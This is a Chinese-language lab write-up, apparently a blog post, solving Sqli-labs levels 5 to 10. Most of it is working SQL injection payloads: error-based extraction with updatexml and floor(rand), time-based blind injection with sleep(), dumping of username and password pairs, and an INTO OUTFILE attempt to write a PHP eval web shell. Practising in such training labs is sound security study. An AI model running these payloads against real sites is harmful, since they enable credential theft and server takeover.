Sqli-labs(5-10)闯关

Sqli-labs(5)
同前四关一样先?id=1
在这里插入图片描述
?id=1结果报错
在这里插入图片描述
这一关感觉是很像第一关,来用order by 和 union语句来试试,可以知道有几列,但是不回显,看来这个没啥卵用了。。。。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Sqli-labs(5)这一关怎么尝试都是You are in…没有1-4关的那样回显。
看来另寻出路了
我们尝试用updatexml函数,看获取到数据库名

?id=0' and updatexml(1,concat(0x7C,(select database())),1)--+

在这里插入图片描述
在这里插入图片描述
已经猜解到数据库名,接下来猜解表名,其中users表我们感兴趣。

?id=0' and updatexml(1,concat(0x7C,(select  group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+

在这里插入图片描述
进行猜解user表的列名,其中username和password是我们想要的哦豁!碰上问题了
原来updatexml对输出长度有限制32位

?id=0' and updatexml(1,concat(0x7C,(select  group_concat(column_name) from information_schema.columns where table_name='users')),1)--+

在这里插入图片描述
也能返回数据但是长度有限制

?id=0' and updatexml(1,concat(0x7C,(select  group_concat(username,'|',password) from users)),1)--+

extractvalue()函数也是和上边的updatexml函数一样都是32位。
接下来使用另一种操作
floor函数

?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select database()))a from information_schema.tables group by a)b--+

通过以上语句得到数据库名而前边那个1是随机产生的没有影响。
在这里插入图片描述
使用limit语句来一个个截取行输出

?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(database(),'=',version()) limit 0,1))a from information_schema.tables group by a)b--+

下面一个个试来获取表。

?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(table_name,'|') from information_schema.tables where table_schema=database() limit 3,1))a from information_schema.tables group by a)b--+

在这里插入图片描述
下面获取列名

?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(column_name,'|') from information_schema.columns where table_name='users' limit 2,1))a from information_schema.tables group by a)b--+
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(column_name,'|') from information_schema.columns where table_name='users' limit 26,1))a from information_schema.tables group by a)b--+

加粗样式
在这里插入图片描述
获取到字段名

?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(username,'|',password) from users limit 0,1))a from information_schema.tables group by a)b--+

在这里插入图片描述
sqli-labs(6)
第六关这里就是与上一关闭合引号不同,由单引号换成双引号。

?id=0" UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(username,'|',password) from users limit 0,1))a from information_schema.tables group by a)b

在这里插入图片描述
Sqli-labs(7)
这一关挺稀奇的是outfile,我们知道load_file函数读文件的操作,into outfile函数就应该是写文件的操作了。
在这里插入图片描述
?id=1探测,出来outfile
在这里插入图片描述
来试试闭合,单引号报错,双引号报错,单引括号报错,括号正常,双引号括号正常显示。

?id=1'
?id=1"
?id=')
?id=")
?id=)

我们先试试括号闭合上传一句话

?id=-1")) UNION SELECT 1,"<?php @eval(['shell'])?>",3 into outfile "//var//www//html//sqli//Less-7//shell.php"--+ 

唉!怎么试我的都没有上传成功。
Sqli-labs(8)
尝试使用各种闭合。

?id=1
?id=1'
?id=1"
?id=1')
?id=1")

除了?id=1’不显示,其他闭合方式都显示。
在这里插入图片描述

?id=1' UNION SELECT 1,"<?php @eval(['shell'])?>",3 into outfile "//var//www//html//sqli//Less-7//shell.php"--+ 

Sqli-labs(9)
第九关是时间盲注。
在这里插入图片描述
尝试单引号闭合,用时四毫秒
在这里插入图片描述
使用时间盲注语句

?id=1' and sleep(4)--+

可以看到慢了很多,四秒后打开页面,这样判断出存在字符型时间sql注入。
在这里插入图片描述

?id=1' and if(length(database())=1,sleep(4),1)--+

没有感觉延时。
在这里插入图片描述

?id=1' and if(length(database())=5,sleep(4),1)--+

在这里插入图片描述

?id=1' and if(length(database())=8,sleep(4),1)--+

这里注意有很大的延时,说明该数据库长度为8个字符。
在这里插入图片描述
丢下ASCII码表
在这里插入图片描述
接下来使用二分法猜解数据库名。

?id=1' and if(ascii(substr(database(),1,1))>97,sleep(4),1)--+   #有明显延时
?id=1' and if(ascii(substr(database(),1,1))>123,sleep(4),1)--+   #有明显延时,说明数据库名第一个字母在a-z字母之间。

在这里插入图片描述
在这里插入图片描述
说明此数据库首字母为s
在这里插入图片描述
往下依此类推猜解到完整的数据库名,security。

?id=1' and if(ascii(substr(database(),2,1))>97,sleep(4),1)--+ 

猜解表名,先获取有多少个表

?id=1' and if((SELECT count(table_name) from information_schema.tables where table_schema=database())=1,sleep(4),1)--+  #没有延时
?id=1' and if((SELECT count(table_name) from information_schema.tables where table_schema=database())=4,sleep(4),1)--+  #存在延时,说明表中有四个表

在这里插入图片描述
我们想要users第二个表,有五个字段

?id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2))=5,sleep(4),1)--+

在这里插入图片描述
二分法猜表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(4),1)--+ #猜解出第二个表首字母为u

往下继续猜解猜解到users表,列名,字段名,这里就不往下试了。

Sqli-labs(10)
这一关与第九关相比只是闭合方式不同,这里成了双引号闭合。

?id=1" and sleep(4)--+

在这里插入图片描述

?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(4),1)--+

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值